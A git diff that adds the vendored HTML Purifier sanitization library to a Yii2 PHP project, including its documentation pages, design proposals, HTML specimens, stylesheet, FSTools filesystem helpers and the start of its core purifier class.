        + + + + + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/entities/xhtml-lat1.ent b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/entities/xhtml-lat1.ent new file mode 100644 index 00000000..ffee223e --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/entities/xhtml-lat1.ent @@ -0,0 +1,196 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/entities/xhtml-special.ent b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/entities/xhtml-special.ent new file mode 100644 index 00000000..ca358b2f --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/entities/xhtml-special.ent @@ -0,0 +1,80 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/entities/xhtml-symbol.ent b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/entities/xhtml-symbol.ent new file mode 100644 index 00000000..63c2abfa --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/entities/xhtml-symbol.ent @@ -0,0 +1,237 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/examples/basic.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/examples/basic.php new file mode 100644 index 00000000..b51096d2 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/examples/basic.php @@ -0,0 +1,23 @@ +set('Core.Encoding', 'UTF-8'); // replace with your encoding +$config->set('HTML.Doctype', 'XHTML 1.0 Transitional'); // replace with your doctype + +$purifier = new HTMLPurifier($config); + +// untrusted input HTML +$html = 'Simple and short'; + +$pure_html = $purifier->purify($html); + +echo '
        ' . htmlspecialchars($pure_html) . '
        '; + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/fixquotes.htc b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/fixquotes.htc new file mode 100644 index 00000000..80dda2dc --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/fixquotes.htc @@ -0,0 +1,9 @@ + + + + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/index.html b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/index.html new file mode 100644 index 00000000..3c4ecc71 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/index.html @@ -0,0 +1,188 @@ + + + + + + + +Documentation - HTML Purifier + + + + +

        Documentation

        + +

        HTML Purifier has documentation for all types of people. +Here is an index of all of them.

        + +

        End-user

        +

        End-user documentation that contains articles, tutorials and useful +information for casual developers using HTML Purifier.

        + +
        + +
        IDs
        +
        Explains various methods for allowing IDs in documents safely.
        + +
        Embedding YouTube videos
        +
        Explains how to safely allow the embedding of flash from trusted sites.
        + +
        Speeding up HTML Purifier
        +
        Explains how to speed up HTML Purifier through caching or inbound filtering.
        + +
        UTF-8: The Secret of Character Encoding
        +
        Describes the rationale for using UTF-8, the ramifications otherwise, and how to make the switch.
        + +
        Tidy
        +
        Tutorial for tweaking HTML Purifier's Tidy-like behavior.
        + +
        Customize
        +
        Tutorial for customizing HTML Purifier's tag and attribute sets.
        + +
        URI Filters
        +
        Tutorial for creating custom URI filters.
        + +
        + +

        Development

        +

        Developer documentation detailing code issues, roadmaps and project +conventions.

        + +
        + +
        Implementation Progress
        +
        Tables detailing HTML element and CSS property implementation coverage.
        + +
        Naming Conventions
        +
        Defines class naming conventions.
        + +
        Optimization
        +
        Discusses possible methods of optimizing HTML Purifier.
        + +
        Flushing the Purifier
        +
        Discusses when to flush HTML Purifier's various caches.
        + +
        Advanced API
        +
        Specification for HTML Purifier's advanced API for defining +custom filtering behavior.
        + +
        Config Schema
        +
        Describes config schema framework in HTML Purifier.
        + +
        + +

        Proposals

        +

        Proposed features, as well as the associated rambling to get a clear +objective in place before attempted implementation.

        + +
        +
        Colors
        +
        Proposal to allow for color constraints.
        +
        + +

        Reference

        +

        Miscellaneous essays, research pieces and other reference type material +that may not directly discuss HTML Purifier.

        + +
        +
        DevNetwork Credits
        +
        Credits and links to DevNetwork forum topics.
        +
        + +

        Internal memos

        + +

        Plaintext documents that are more for use by active developers of +the code. They may be upgraded to HTML files or stay as TXT scratchpads.

        + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        TypeNameDescription
        End-userOverviewHigh level overview of the general control flow (mostly obsolete).
        End-userSecurityCommon security issues that may still arise (half-baked).
        DevelopmentConfig BC BreaksBackwards-incompatible changes in HTML Purifier 4.0.0
        DevelopmentCode Quality IssuesEnumerates code quality issues and places that need to be refactored.
        ProposalFilter levelsOutlines details of projected configurable level of filtering.
        ProposalLanguageSpecification of I18N for error messages derived from MediaWiki (half-baked).
        ProposalNew directivesAssorted configuration options that could be implemented.
        ProposalCSS extractionTaking the inline CSS out of documents and into style.
        ReferenceHandling Content Model ChangesDiscusses how to tidy up content model changes using custom ChildDef classes.
        ReferenceProprietary tagsList of vendor-specific tags we may want to transform to W3C compliant markup.
        ReferenceModularization of HTMLDefinitionProvides a high-level overview of the concepts behind HTMLModules.
        ReferenceWHATWGHow WHATWG plays into what we need to do.
        + + + + + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/proposal-colors.html b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/proposal-colors.html new file mode 100644 index 00000000..65763388 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/proposal-colors.html @@ -0,0 +1,49 @@ + + + + + + + +Proposal: Colors - HTML Purifier + + + +

        Colors

        +
        Hammering some sense into those color-blind newbies
        + +
        Filed under Proposals
        +
        Return to the index.
        +
        HTML Purifier End-User Documentation
        + +

        Your website probably has a color-scheme. +Green on white, +purple on yellow, +whatever. When you give users the ability to style their content, you may +want them to keep in line with your styling. If you're website is all +about light colors, you don't want a user to come in and vandalize your +page with a deep maroon.

        + +

        This is an extremely silly feature proposal, but I'm writing it down anyway.

        + +

        What if the user could constrain the colors specified in inline styles? You +are only allowed to use these shades of dark green for text and these shades +of light yellow for the background. At the very least, you could ensure +that we did not have pale yellow on white text.

        + +

        Implementation issues

        + +
          +
        1. Requires the color attribute definition to know, currently, what the text +and background colors are. This becomes difficult when classes are thrown +into the mix.
        2. +
        3. The user still has to define the permissible colors, how does one do +something like that?
        4. +
        + + + + + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/proposal-config.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/proposal-config.txt new file mode 100644 index 00000000..4e031c58 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/proposal-config.txt @@ -0,0 +1,23 @@ + +Configuration + +Configuration is documented on a per-use case: if a class uses a certain +value from the configuration object, it has to define its name and what the +value is used for. This means decentralized configuration declarations that +are nevertheless error checking and a centralized configuration object. + +Directives are divided into namespaces, indicating the major portion of +functionality they cover (although there may be overlaps). Please consult +the documentation in ConfigDef for more information on these namespaces. + +Since configuration is dependant on context, internal classes require a +configuration object to be passed as a parameter. (They also require a +Context object). A majority of classes do not need the config object, +but for those who do, it is a lifesaver. + +Definition objects are complex datatypes influenced by their respective +directive namespaces (HTMLDefinition with HTML and CSSDefinition with CSS). +If any of these directives is updated, HTML Purifier forces the definition +to be regenerated. + + vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/proposal-css-extraction.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/proposal-css-extraction.txt new file mode 100644 index 00000000..9933c96b --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/proposal-css-extraction.txt @@ -0,0 +1,34 @@ + +Extracting inline CSS from HTML Purifier + voodoofied: Assigning semantics to elements + +Sander Tekelenburg brought to my attention the poor programming style of +inline CSS in HTML documents. In an ideal world, we wouldn't be using inline +CSS at all: everything would be assigned using semantic class attributes +from an external stylesheet. + +With ExtractStyleBlocks and CSSTidy, this is now possible (when allowed, users +can specify a style element which gets extracted from the user-submitted HTML, which +the application can place in the head of the HTML document). But there still +is the issue of inline CSS that refuses to go away. + +The basic idea behind this feature is assign every element a unique identifier, +and then move all of the CSS data to a style-sheet. This HTML: + +
        Big things!
        + +into + +
        Big things!
        + +and a stylesheet that is: + +#hp-12345 {text-align:center;} +#hp-12346 {color:red;} + +Beyond that, HTML Purifier can magically merge common CSS values together, +and a whole manner of other heuristic things. HTML Purifier should also +make it easy for an admin to re-style the HTML semantically. Speed is not +an issue. Also, better WYSIWYG editors are needed. + + vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/proposal-errors.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/proposal-errors.txt new file mode 100644 index 00000000..87cb2ac1 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/proposal-errors.txt @@ -0,0 +1,211 @@ +Considerations for ErrorCollection + +Presently, HTML Purifier takes a code-execution centric approach to handling +errors. Errors are organized and grouped according to which segment of the +code triggers them, not necessarily the portion of the input document that +triggered the error. This means that errors are pseudo-sorted by category, +rather than location in the document. + +One easy way to "fix" this problem would be to re-sort according to line number. +However, the "category" style information we derive from naively following +program execution is still useful. After all, each of the strategies which +can report errors still process the document mostly linearly. Furthermore, +not only do they process linearly, but the way they pass off operations to +sub-systems mirrors that of the document. For example, AttrValidator will +linearly proceed through elements, and on each element will use AttrDef to +validate those contents. From there, the attribute might have more +sub-components, which have execution passed off accordingly. + +In fact, each strategy handles a very specific class of "error." + +RemoveForeignElements - element tokens +MakeWellFormed - element token ordering +FixNesting - element token ordering +ValidateAttributes - attributes of elements + +The crucial point is that while we care about the hierarchy governing these +different errors, we *don't* care about any other information about what actually +happens to the elements. This brings up another point: if HTML Purifier fixes +something, this is not really a notice/warning/error; it's really a suggestion +of a way to fix the aforementioned defects. + +In short, the refactoring to take this into account kinda sucks. + +Errors should not be recorded in order that they are reported. Instead, they +should be bound to the line (and preferably element) in which they were found. +This means we need some way to uniquely identify every element in the document, +which doesn't presently exist. An easy way of adding this would be to track +line columns. An important ramification of this is that we *must* use the +DirectLex implementation. + + 1. Implement column numbers for DirectLex [DONE!] + 2. Disable error collection when not using DirectLex [DONE!] + +Next, we need to re-orient all of the error declarations to place CurrentToken +at utmost important. Since this is passed via Context, it's not always clear +if that's available. ErrorCollector should complain HARD if it isn't available. +There are some locations when we don't have a token available. These include: + + * Lexing - this can actually have a row and column, but NOT correspond to + a token + * End of document errors - bump this to the end + +Actually, we *don't* have to complain if CurrentToken isn't available; we just +set it as a document-wide error. And actually, nothing needs to be done here. + +Something interesting to consider is whether or not we care about the locations +of attributes and CSS properties, i.e. the sub-objects that compose these things. +In terms of consistency, at the very least attributes should have column/line +numbers attached to them. However, this may be overkill, as attributes are +uniquely identifiable. You could go even further, with CSS, but they are also +uniquely identifiable. + +Bottom-line is, however, this information must be available, in form of the +CurrentAttribute and CurrentCssProperty (theoretical) context variables, and +it must be used to organize the errors that the sub-processes may throw. +There is also a hierarchy of sorts that may make merging this into one context +variable more sense, if it hadn't been for HTML's reasonably rigid structure. +A CSS property will never contain an HTML attribute. So we won't ever get +recursive relations, and having multiple depths won't ever make sense. Leave +this be. + +We already have this information, and consequently, using start and end is +*unnecessary*, so long as the context variables are set appropriately. We don't +care if an error was thrown by an attribute transform or an attribute definition; +to the end user these are the same (for a developer, they are different, but +they're better off with a stack trace (which we should add support for) in such +cases). + + 3. Remove start()/end() code. Don't get rid of recursion, though [DONE] + 4. Setup ErrorCollector to use context information to setup hierarchies. + This may require a different internal format. Use objects if it gets + complex. [DONE] + + ASIDE + More on this topic: since we are now binding errors to lines + and columns, a particular error can have three relationships to that + specific location: + + 1. The token at that location directly + RemoveForeignElements + AttrValidator (transforms) + MakeWellFormed + 2. A "component" of that token (i.e. attribute) + AttrValidator (removals) + 3. A modification to that node (i.e. contents from start to end + token) as a whole + FixNesting + + This needs to be marked accordingly. In the presentation, it might + make sense keep (3) separate, have (2) a sublist of (1). (1) can + be a closing tag, in which case (3) makes no sense at all, OR it + should be related with its opening tag (this may not necessarily + be possible before MakeWellFormed is run). + + So, the line and column counts as our identifier, so: + + $errors[$line][$col] = ... + + Then, we need to identify case 1, 2 or 3. They are identified as + such: + + 1. Need some sort of semaphore in RemoveForeignElements, etc. + 2. If CurrentAttr/CurrentCssProperty is non-null + 3. Default (FixNesting, MakeWellFormed) + + One consideration about (1) is that it usually is actually a + (3) modification, but we have no way of knowing about that because + of various optimizations. However, they can probably be treated + the same. The other difficulty is that (3) is never a line and + column; rather, it is a range (i.e. a duple) and telling the user + the very start of the range may confuse them. For example, + + Foo
        bar
        + ^ ^ + + The node being operated on is , so the error would be assigned + to the first caret, with a "node reorganized" error. Then, the + ChildDef would have submitted its own suggestions and errors with + regard to what's going in the internals. So I suppose this is + ok. :-) + + Now, the structure of the earlier mentioned ... would be something + like this: + + object { + type = (token|attr|property), + value, // appropriate for type + errors => array(), + sub-errors = [recursive], + } + + This helps us keep things agnostic. It is also sufficiently complex + enough to warrant an object. + +So, more wanking about the object format is in order. The way HTML Purifier is +currently setup, the only possible hierarchy is: + + token -> attr -> css property + +These relations do not exist all of the time; a comment or end token would not +ever have any attributes, and non-style attributes would never have CSS properties +associated with them. + +I believe that it is worth supporting multiple paths. At some point, we might +have a hierarchy like: + + * -> syntax + -> token -> attr -> css property + -> url + -> css stylesheet + + + +

        HTML align attribute to CSS

        + +

        Inspect source for methodology.

        + +
        +
        + HTML +
        +
        + CSS +
        +
        + +
        + +

        table.align

        + +

        left

        +
        +
        + a
        O
        a +
        +
        + a
        O
        a +
        +
        + +

        center

        +
        +
        + a
        O
        a +
        +
        + a
        O
        a +
        +
        + +

        right

        +
        +
        + a
        O
        a +
        +
        + a
        O
        a +
        +
        + +
        + + + +
        +

        img.align

        +

        left

        +
        +
        + aa +
        +
        + aa +
        +
        + +

        right

        +
        +
        + aa +
        +
        + aa +
        +
        + +

        bottom

        +
        +
        + aa +
        +
        + aa +
        +
        + +

        middle

        +
        +
        + aa +
        +
        + aa +
        +
        + +

        top

        +
        +
        + aa +
        +
        + aa +
        +
        + +
        + + + +
        + +

        hr.align

        + +

        left

        +
        +
        +
        +
        +
        +
        +
        +
        + +

        center

        +
        +
        +
        +
        +
        +
        +
        +
        + +

        right

        +
        +
        +
        +
        +
        +
        +
        +
        + +
        + + + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/specimens/img.png b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/specimens/img.png new file mode 100644 index 00000000..a755bcb5 Binary files /dev/null and b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/specimens/img.png differ diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/specimens/jochem-blok-word.html b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/specimens/jochem-blok-word.html new file mode 100644 index 00000000..1cc08f88 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/specimens/jochem-blok-word.html @@ -0,0 +1,129 @@ + + + + + + + + + + + + +
        + +

        + +

         

        + +

        Name

        + +

        E-mail : mail@example.com

        + +

         

        + +

        Company

        + +

        Address 1

        + +

        Address 2

        + +

         

        + +

        Telefoon  : +xx xx xxx xxx xx

        + +

        Fax  : +xx xx xxx xx xx

        + +

        Internet : http://www.example.com

        + +

        Kamer van koophandel +xxxxxxxxx

        + +

         

        + +

        Op deze +e-mail is een disclaimer van toepassing, ga naar www.example.com/disclaimer
        +A disclaimer is applicable to this email, please +refer to www.example.com/disclaimer

        + +

         

        + +
        + + + + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/specimens/windows-live-mail-desktop-beta.html b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/specimens/windows-live-mail-desktop-beta.html new file mode 100644 index 00000000..735b4bd9 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/specimens/windows-live-mail-desktop-beta.html @@ -0,0 +1,74 @@ + + + + + + + +
        Play +slideshow | Download the highest quality version of a picture by +clicking the + above it
        +
        +
          +
        1. Angry smile emoticonUn ka Tev iet, un ko tu dari? +
        2. Aha!
        + +
        + + + + + + +
        + +
        +
        This + is title for this + picture
        + +
        +
         
        +
        Online +pictures are available for 30 days. Get Windows Live Mail desktop to create +your own photo e-mails.
        diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/style.css b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/style.css new file mode 100644 index 00000000..bd79c8a0 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/style.css @@ -0,0 +1,76 @@ +html {font-size:1em; font-family:serif; } +body {margin-left:4em; margin-right:4em; } + +dt {font-weight:bold; } +pre {margin-left:2em; } +pre, code, tt {font-family:monospace; font-size:1em; } + +h1 {text-align:center; font-family:Garamond, serif; + font-variant:small-caps;} +h2 {border-bottom:1px solid #CCC; font-family:sans-serif; font-weight:normal; + font-size:1.3em;} +h3 {font-family:sans-serif; font-size:1.1em; font-weight:bold; } +h4 {font-family:sans-serif; font-size:0.9em; font-weight:bold; } + +/* For witty quips */ +.subtitled {margin-bottom:0em;} +.subtitle , .subsubtitle {font-size:.8em; margin-bottom:1em; + font-style:italic; margin-top:-.2em;text-align:center;} +.subsubtitle {text-align:left;margin-left:2em;} + +/* Used for special "See also" links. */ +.reference {font-style:italic;margin-left:2em;} + +/* Marks off asides, discussions on why something is the way it is */ +.aside {margin-left:2em; font-family:sans-serif; font-size:0.9em; } +blockquote .label {font-weight:bold; font-size:1em; margin:0 0 .1em; + border-bottom:1px solid #CCC;} +.emphasis {font-weight:bold; text-align:center; font-size:1.3em;} + +/* A regular table */ +.table {border-collapse:collapse; border-bottom:2px solid #888; margin-left:2em; } +.table thead th {margin:0; background:#888; color:#FFF; } +.table thead th:first-child {-moz-border-radius-topleft:1em;} +.table tbody td {border-bottom:1px solid #CCC; padding-right:0.6em;padding-left:0.6em;} + +/* A quick table*/ +table.quick tbody th {text-align:right; padding-right:1em;} + +/* Category of the file */ +#filing {font-weight:bold; font-size:smaller; } + +/* Contains, without exception, Return to index. */ +#index {font-size:smaller; } + +#home {font-size:smaller;} + +/* Contains, without exception, $Id$, for SVN version info. */ +#version {text-align:right; font-style:italic; margin:2em 0;} + +#toc ol ol {list-style-type:lower-roman;} +#toc ol {list-style-type:decimal;} +#toc {list-style-type:upper-alpha;} + +q { + behavior: url(fixquotes.htc); /* IE fix */ + quotes: '\201C' '\201D' '\2018' '\2019'; +} +q:before { + content: open-quote; +} +q:after { + content: close-quote; +} + +/* Marks off implementation details interesting only to the person writing + the class described in the spec. */ +.technical {margin-left:2em; } +.technical:before {content:"Technical note: "; font-weight:bold; color:#061; } + +/* Marks off sections that are lacking. */ +.fixme {margin-left:2em; } +.fixme:before {content:"Fix me: "; font-weight:bold; color:#C00; } + +#applicability {margin: 1em 5%; font-style:italic;} + +/* vim: et sw=4 sts=4 */ diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/extras/ConfigDoc/HTMLXSLTProcessor.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/extras/ConfigDoc/HTMLXSLTProcessor.php new file mode 100644 index 00000000..1cfec5d7 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/extras/ConfigDoc/HTMLXSLTProcessor.php @@ -0,0 +1,91 @@ +xsltProcessor = $proc; + } + + /** + * @note Allows a string $xsl filename to be passed + */ + public function importStylesheet($xsl) + { + if (is_string($xsl)) { + $xsl_file = $xsl; + $xsl = new DOMDocument(); + $xsl->load($xsl_file); + } + return $this->xsltProcessor->importStylesheet($xsl); + } + + /** + * Transforms an XML file into compatible XHTML based on the stylesheet + * @param $xml XML DOM tree, or string filename + * @return string HTML output + * @todo Rename to transformToXHTML, as transformToHTML is misleading + */ + public function transformToHTML($xml) + { + if (is_string($xml)) { + $dom = new DOMDocument(); + $dom->load($xml); + } else { + $dom = $xml; + } + $out = $this->xsltProcessor->transformToXML($dom); + + // fudges for HTML backwards compatibility + // assumes that document is XHTML + $out = str_replace('/>', ' />', $out); //
        not
        + $out = str_replace(' xmlns=""', '', $out); // rm unnecessary xmlns + + if (class_exists('Tidy')) { + // cleanup output + $config = array( + 'indent' => true, + 'output-xhtml' => true, + 'wrap' => 80 + ); + $tidy = new Tidy; + $tidy->parseString($out, $config, 'utf8'); + $tidy->cleanRepair(); + $out = (string) $tidy; + } + + return $out; + } + + /** + * Bulk sets parameters for the XSL stylesheet + * @param array $options Associative array of options to set + */ + public function setParameters($options) + { + foreach ($options as $name => $value) { + $this->xsltProcessor->setParameter('', $name, $value); + } + } + + /** + * Forward any other calls to the XSLT processor + */ + public function __call($name, $arguments) + { + call_user_func_array(array($this->xsltProcessor, $name), $arguments); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/extras/FSTools.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/extras/FSTools.php new file mode 100644 index 00000000..ce007631 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/extras/FSTools.php @@ -0,0 +1,164 @@ +mkdir($base); + } + $base .= DIRECTORY_SEPARATOR; + } + } + + /** + * Copy a file, or recursively copy a folder and its contents; modified + * so that copied files, if PHP, have includes removed + * @note Adapted from http://aidanlister.com/repos/v/function.copyr.php + */ + public function copyr($source, $dest) + { + // Simple copy for a file + if (is_file($source)) { + return $this->copy($source, $dest); + } + // Make destination directory + if (!is_dir($dest)) { + $this->mkdir($dest); + } + // Loop through the folder + $dir = $this->dir($source); + while ( false !== ($entry = $dir->read()) ) { + // Skip pointers + if ($entry == '.' || $entry == '..') { + continue; + } + if (!$this->copyable($entry)) { + continue; + } + // Deep copy directories + if ($dest !== "$source/$entry") { + $this->copyr("$source/$entry", "$dest/$entry"); + } + } + // Clean up + $dir->close(); + return true; + } + + /** + * Overloadable function that tests a filename for copyability. By + * default, everything should be copied; you can restrict things to + * ignore hidden files, unreadable files, etc. This function + * applies to copyr(). + */ + public function copyable($file) + { + return true; + } + + /** + * Delete a file, or a folder and its contents + * @note Adapted from http://aidanlister.com/repos/v/function.rmdirr.php + */ + public function rmdirr($dirname) + { + // Sanity check + if (!$this->file_exists($dirname)) { + return false; + } + + // Simple delete for a file + if ($this->is_file($dirname) || $this->is_link($dirname)) { + return $this->unlink($dirname); + } + + // Loop through the folder + $dir = $this->dir($dirname); + while (false !== $entry = $dir->read()) { + // Skip pointers + if ($entry == '.' || $entry == '..') { + continue; + } + // Recurse + $this->rmdirr($dirname . DIRECTORY_SEPARATOR . $entry); + } + + // Clean up + $dir->close(); + return $this->rmdir($dirname); + } + + /** + * Recursively globs a directory. + */ + public function globr($dir, $pattern, $flags = NULL) + { + $files = $this->glob("$dir/$pattern", $flags); + if ($files === false) $files = array(); + $sub_dirs = $this->glob("$dir/*", GLOB_ONLYDIR); + if ($sub_dirs === false) $sub_dirs = array(); + foreach ($sub_dirs as $sub_dir) { + $sub_files = $this->globr($sub_dir, $pattern, $flags); + $files = array_merge($files, $sub_files); + } + return $files; + } + + /** + * Allows for PHP functions to be called and be stubbed. + * @warning This function will not work for functions that need + * to pass references; manually define a stub function for those. + */ + public function __call($name, $args) + { + return call_user_func_array($name, $args); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/extras/FSTools/File.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/extras/FSTools/File.php new file mode 100644 index 00000000..6453a7a4 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/extras/FSTools/File.php @@ -0,0 +1,141 @@ +name = $name; + $this->fs = $fs ? $fs : FSTools::singleton(); + } + + /** Returns the filename of the file. */ + public function getName() {return $this->name;} + + /** Returns directory of the file without trailing slash */ + public function getDirectory() {return $this->fs->dirname($this->name);} + + /** + * Retrieves the contents of a file + * @todo Throw an exception if file doesn't exist + */ + public function get() + { + return $this->fs->file_get_contents($this->name); + } + + /** Writes contents to a file, creates new file if necessary */ + public function write($contents) + { + return $this->fs->file_put_contents($this->name, $contents); + } + + /** Deletes the file */ + public function delete() + { + return $this->fs->unlink($this->name); + } + + /** Returns true if file exists and is a file. */ + public function exists() + { + return $this->fs->is_file($this->name); + } + + /** Returns last file modification time */ + public function getMTime() + { + return $this->fs->filemtime($this->name); + } + + /** + * Chmod a file + * @note We ignore errors because of some weird owner trickery due + * to SVN duality + */ + public function chmod($octal_code) + { + return @$this->fs->chmod($this->name, $octal_code); + } + + /** Opens file's handle */ + public function open($mode) + { + if ($this->handle) $this->close(); + $this->handle = $this->fs->fopen($this->name, $mode); + return true; + } + + /** Closes file's handle */ + public function close() + { + if (!$this->handle) return false; + $status = $this->fs->fclose($this->handle); + $this->handle = false; + return $status; + } + + /** Retrieves a line from an open file, with optional max length $length */ + public function getLine($length = null) + { + if (!$this->handle) $this->open('r'); + if ($length === null) return $this->fs->fgets($this->handle); + else return $this->fs->fgets($this->handle, $length); + } + + /** Retrieves a character from an open file */ + public function getChar() + { + if (!$this->handle) $this->open('r'); + return $this->fs->fgetc($this->handle); + } + + /** Retrieves an $length bytes of data from an open data */ + public function read($length) + { + if (!$this->handle) $this->open('r'); + return $this->fs->fread($this->handle, $length); + } + + /** Writes to an open file */ + public function put($string) + { + if (!$this->handle) $this->open('a'); + return $this->fs->fwrite($this->handle, $string); + } + + /** Returns TRUE if the end of the file has been reached */ + public function eof() + { + if (!$this->handle) return true; + return $this->fs->feof($this->handle); + } + + public function __destruct() + { + if ($this->handle) $this->close(); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/extras/HTMLPurifierExtras.auto.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/extras/HTMLPurifierExtras.auto.php new file mode 100644 index 00000000..4016d8af --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/extras/HTMLPurifierExtras.auto.php @@ -0,0 +1,11 @@ +fopen(...). + This makes it a lot simpler to mock these filesystem calls for unit testing. + +- FSTools_File: This object represents a single file, and has almost any + method imaginable one would need. + +Check the files themselves for more information. + + vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier.auto.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier.auto.php new file mode 100644 index 00000000..1960c399 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier.auto.php @@ -0,0 +1,11 @@ +purify($html, $config); +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier.includes.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier.includes.php new file mode 100644 index 00000000..9b7b88a8 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier.includes.php @@ -0,0 +1,229 @@ + $attributes) { + $allowed_elements[$element] = true; + foreach ($attributes as $attribute => $x) { + $allowed_attributes["$element.$attribute"] = true; + } + } + $config->set('HTML.AllowedElements', $allowed_elements); + $config->set('HTML.AllowedAttributes', $allowed_attributes); + if ($allowed_protocols !== null) { + $config->set('URI.AllowedSchemes', $allowed_protocols); + } + $purifier = new HTMLPurifier($config); + return $purifier->purify($string); +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier.path.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier.path.php new file mode 100644 index 00000000..39b1b653 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier.path.php @@ -0,0 +1,11 @@ +config = HTMLPurifier_Config::create($config); + $this->strategy = new HTMLPurifier_Strategy_Core(); + } + + /** + * Adds a filter to process the output. First come first serve + * + * @param HTMLPurifier_Filter $filter HTMLPurifier_Filter object + */ + public function addFilter($filter) + { + trigger_error( + 'HTMLPurifier->addFilter() is deprecated, use configuration directives' . + ' in the Filter namespace or Filter.Custom', + E_USER_WARNING + ); + $this->filters[] = $filter; + } + + /** + * Filters an HTML snippet/document to be XSS-free and standards-compliant. + * + * @param string $html String of HTML to purify + * @param HTMLPurifier_Config $config Config object for this operation, + * if omitted, defaults to the config object specified during this + * object's construction. The parameter can also be any type + * that HTMLPurifier_Config::create() supports. + * + * @return string Purified HTML + */ + public function purify($html, $config = null) + { + // :TODO: make the config merge in, instead of replace + $config = $config ? HTMLPurifier_Config::create($config) : $this->config; + + // implementation is partially environment dependant, partially + // configuration dependant + $lexer = HTMLPurifier_Lexer::create($config); + + $context = new HTMLPurifier_Context(); + + // setup HTML generator + $this->generator = new HTMLPurifier_Generator($config, $context); + $context->register('Generator', $this->generator); + + // set up global context variables + if ($config->get('Core.CollectErrors')) { + // may get moved out if other facilities use it + $language_factory = HTMLPurifier_LanguageFactory::instance(); + $language = $language_factory->create($config, $context); + 